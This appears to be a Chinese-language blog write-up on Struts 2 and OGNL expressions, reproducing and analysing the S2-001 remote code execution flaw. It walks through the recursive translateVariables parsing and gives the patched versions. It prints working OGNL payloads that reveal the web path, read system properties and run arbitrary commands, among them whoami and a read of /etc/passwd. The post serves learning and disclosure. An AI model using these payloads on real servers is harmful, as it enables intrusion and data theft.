Struts 2
Struts2
是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet
,在MVC设计模式中,Struts2
作为控制器(Controller
)来建立模型与视图的数据交互。Struts 2
是Struts
的下一代产品,是在 struts 1
和WebWork
的技术基础上进行了合并的全新的Struts 2
框架。其全新的Struts 2
的体系结构与Struts 1
的体系结构差别巨大。Struts 2
以WebWork
为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI
完全脱离开,所以Struts 2
可以理解为WebWork
的更新产品。虽然从Struts 1
到Struts 2
有着非常大的变化,但是相对于WebWork
,Struts 2
的变化很小。
工作流程
需要配置2个东西,第一个最关键的,在web.xml中配置strutsPrepareAndExecuteFilter
即过滤器,配置了该过滤器,请求才会走struts2
框架,第二个,struts.xml
文件,其中应该有的内容是通过action
的名字就能够找到其位置在哪里
OGNL表达式
OGNL,全称为Object-Graph Navigation Language,它是一个功能强大的表达式语言,用来获取和设置Java对象的属性,它旨在提供一个更高的更抽象的层次来对Java对象图进行导航。它通过简单一致的语法,可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能。
使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。
前置知识点
- OGNL表达式的计算是围绕OGNL上下文进行的。
- OGNL上下文实际上就是一个Map对象,由ognl.OgnlContext类表示。它里面可以存放很多个JavaBean对象。它有一个上下文根对象。
- 上下文中的根对象可以直接使用名来访问或直接使用它的属性名访问它的属性值。否则要加前缀“#key”
- Struts2的标签库都是使用OGNL表达式来访问ActionContext中的对象数据的。如:<s:propertyvalue="xxx"/>。
- Struts2将ActionContext设置为OGNL上下文,并将值栈作为OGNL的根对象放置到ActionContext中。
- 值栈(ValueStack) :
- 可以在值栈中放入、删除、查询对象。访问值栈中的对象不用“#”
- Struts2总是把当前Action实例放置在栈顶。所以在OGNL中引用Action中的属性也可以省略“#”
- 调用ActionContext的put(key,value)放入的数据,需要使用#访问。
OGNL三要素
- 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
- 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
- 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;
表达式功能操作清单:
- 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
- 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
- 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
- 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如:new Java.net.URL("xxxxxx/")
- 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
- 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
- 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
OGNL中的3个符号:#、%、$
-
#:用途一般有三种。
-
访问非根对象属性,例如
#session.msg
表达式,由于Struts 2
中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext()
;#session.msg
表达式相当于ActionContext.getContext().getSession(). getAttribute("msg")
。 -
用于过滤和投影(projecting)集合,如
persons.{?#this.age>25}
,persons.{?#this.name=='pla1'}.{age}[0]
。 -
用来构造Map,例如
#{'foo1':'bar1', 'foo2':'bar2'}
。 -
%
- %符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,这个类似js中的eval,很暴力。
-
$:主要有两个方面的用途。
-
在国际化资源文件中,引用OGNL表达式,例如国际化资源文件中的代码:reg.agerange=国际化资源信息:年龄必须在${min}同${max}之间。
-
在Struts 2框架的配置文件中引用OGNL表达式
-
<validators> <field name="intb"> <field-validator type="int"> <param name="min">10</param> <param name="max">100</param> <message>BAction-test校验:数字必须为${min}为${max}之间!</message> </field-validator> </field> </validators>
-
-
漏洞描述
WebWork 2.1+ 和 Struts 2 的 'altSyntax' 特性允许将 OGNL 表达式插入文本字符串并进行递归处理。这允许恶意用户提交一个字符串,通常通过一个 HTML 文本字段,其中包含一个 OGNL 表达式,如果表单验证失败,服务器将执行该表达式。
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造Payload 进行命令执行。
影响版本:
- Struts 2.0.0 - 2.0.8
- WebWork 2.1 (with altSyntax enabled)
- WebWork 2.2.0 - WebWork 2.2.5
环境搭建
通过%{value}
进行判断是否存在S2-001
存在漏洞,构造payload,尝试获取 Tomcat 执行路径
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
扩展:参考文章S2-001 远程代码执行 漏洞复现
key | Description of Associated Value | 中文描述 |
---|---|---|
java.vendor.url | Java vendor URL | Java 供应商的 URL |
java.vm.specification.version | Java Virtual Machine specification version | Java 虚拟机规范版本 |
java.vm.specification.vendor | Java Virtual Machine specification vendor | Java 虚拟机规范供应商 |
java.vm.specification.name | Java Virtual Machine specification name | Java 虚拟机规范名称 |
java.vm.version | Java Virtual Machine implementation version | Java 虚拟机实现版本 |
java.vm.vendor | Java Virtual Machine implementation vendor | Java 虚拟机实现供应商 |
java.vm.name | Java Virtual Machine implementation name | Java 虚拟机实现名称 |
java.specification.version | Java Runtime Environment specification version | Java 运行时环境规范版本 |
java.specification.vendor | Java Runtime Environment specification vendor | Java 运行时环境规范供应商 |
java.specification.name | Java Runtime Environment specification name | Java 运行时环境规范名称 |
java.class.version | Java class format version number | Java 类格式版本号 |
java.class.path | Java class path | Java 类路径 |
java.library.path | List of paths to search when loading libraries | 加载库时搜索的路径列表 |
java.io.tmpdir | Default temp file path | 默认的临时文件路径 |
java.compiler | Name of JIT compiler to use | 要使用的 JIT 编译器的名称 |
java.ext.dirs | Path of extension directory or directories | 一个或多个扩展目录的路径 |
os.name | Operating system name | 操作系统的名称 |
os.arch | Operating system architecture | 操作系统的架构 |
os.version | Operating system version | 操作系统的版本 |
file.separator | File separator ("/" on UNIX) | 文件分隔符(在 UNIX 系统中是“/”) |
path.separator | Path separator (":" on UNIX) | 路径分隔符(在 UNIX 系统中是“:”) |
line.separator | Line separator ("\n" on UNIX) | 行分隔符(在 UNIX 系统中是“/n”) |
user.name | User’s account name | 用户的账户名称 |
user.home | User’s home directory | 用户的主目录 |
user.dir | User’s current working directory | 用户的当前工作目录 |
使用时将getProperty("user.dir")
中的user.dir
替换为表中的key即可获取到相应的信息。
获取Web路径:
%{ #[email protected]@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
任意命令执行:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
替换其中的whoami
即可执行命令,若命令中存在空格,将空格前后的命令视作一个字符串即可,则写作:{"cat","/etc/passwd"}
形式
原理
参考:S2-001漏洞分析
由工作流程我们可以看到,当一个 HTTP 请求被 Struts2
处理时,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2
自带的,也可以是用户自定义的。例如下图 struts.xml
中的 package
继承自 struts-default
,而 struts-default
就使用了 Struts2
自带的拦截器。
找到默认使用的拦截器栈
在拦截器栈 defaultStack
中,我们需要关注 params
这个拦截器。其中, params
拦截器 会将客户端请求数据设置到 值栈(valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。
在经过一系列的拦截器处理后,数据会成功进入实际业务 Action
。程序会根据 Action
处理的结果,选择对应的 JSP 视图进行展示,并对视图中的Struts2
标签进行处理。如下图,在本例中 Action
处理用户登录失败时会返回 error
然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253
继续跟,主要问题在translateVariables
这个函数里
/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
第一次执行的时候 会取出%{username}
的值,即%{1+1}
通过if ((start != -1) && (end != -1) && (count == 0))
的判断,跳过return
通过Object o = stack.findValue(var, asType);
把值赋给o,然后赋值给expression,进行下一次循环
第二次循环会执行我们构造的OGNL表达式,可以看到执行后结果为2
然后再次循环,经过if判断过后return。后面经过处理后返回index.jsp
漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式,造成了OGNL表达式的执行
解决方案
从 XWork 2.0.4 开始,OGNL 解析已更改,它不是递归的。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含更正后的 XWork 库。或者,您可以获取补丁并将其应用于 XWork 源代码。
标签:Java,对象,S2,Struts,001,代码执行,OGNL,java,表达式 From: https://www.cnblogs.com/-ggbond-/p/16821772.html